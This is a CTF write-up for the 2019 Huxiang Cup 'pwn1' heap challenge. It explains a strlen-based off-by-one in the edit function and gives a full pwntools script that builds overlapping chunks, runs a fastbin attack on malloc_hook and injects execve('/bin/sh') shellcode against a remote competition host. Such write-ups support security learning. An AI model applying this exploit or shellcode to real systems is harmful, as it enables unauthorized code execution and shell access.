pwn1

发表于 2021-01-04 分类于 Challenge， 2019， 湖湘杯， Pwn
Challenge | 2019 | 湖湘杯 | Pwn | pwn1

点击此处获得更好的阅读体验

静态链接啥保护都没有，洞在edit strlen函数使用，目标chunk 0x18大小，strlen就会把下一个堆头算进去，大小就变成了了0x19，edit函数有有off by one，程序数据段是可执行的，构造个overlap，fastbin attack打malloc hook就行了

```
from PwnContext import *
if __name__ == '__main__':
    context.terminal = ['tmux', 'split', '-h']
    #-----function for quick script-----#
    s       = lambda data               :ctx.send(str(data))        #in case that data is a int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    leak    = lambda address, count=0   :ctx.leak(address, count)
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    debugg = 0
    logg = 1
    ctx.binary = './HackNote2'
    #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu11_amd64/'#remote libc
    #ctx.debug_remote_libc = True
    #ctx.symbols = {'note':0x6CBC40}
    ctx.breakpoints = [0x400EB9]
    #ctx.debug()
    #ctx.start("gdb",gdbscript="set follow-fork-mode child\nc")
    if debugg:
        rs()
    else:
        ctx.remote = ('183.129.189.62', 19104)
        rs(method = 'remote')
    if logg:
        context.log_level = 'debug'
    def choice(aid):
        sla('Exit',aid)
    def add(asize,acon):
        choice(1)
        sla('Size:',asize)
        sa('Note:',acon)
    def free(aid):
        choice(2)
        sla('Note:',aid)
    def edit(aid,acon):
        choice(3)
        sla('Note:',aid)
        sa('Note:',acon)
    malloc_hook = 0x6CB788
    fake = malloc_hook-0x16
    add(0x18,'0\n')
    add(0x108,'\x00'*0xf0+p64(0x100)+'\n')
    add(0x100,'2\n')
    add(0x10,'3\n')
    free(1)
    edit(0,'0'*0x18)
    edit(0,'0'*0x18+p16(0x100))
    add(0x80,'111\n')
    add(0x30,'4\n')
    add(0x20,'5\n')
    free(1)
    free(2)
    free(4)
    add(0xa0,'0'*0x88+p64(0x41)+p64(fake)+p64(0))#1
    add(0x30,'2\n')#2
    shellcode=""
    shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
    shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
    shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
    add(0x38,'\x00'*0x6+p64(malloc_hook+8)+shellcode+'\n')
    #ctx.debug()
    irt()
```


- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2019/湖湘杯/Pwn/cDhfapEowrdmZ2xmmTyhBf.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

#Challenge #Pwn #2019 #湖湘杯
NameSystem
re1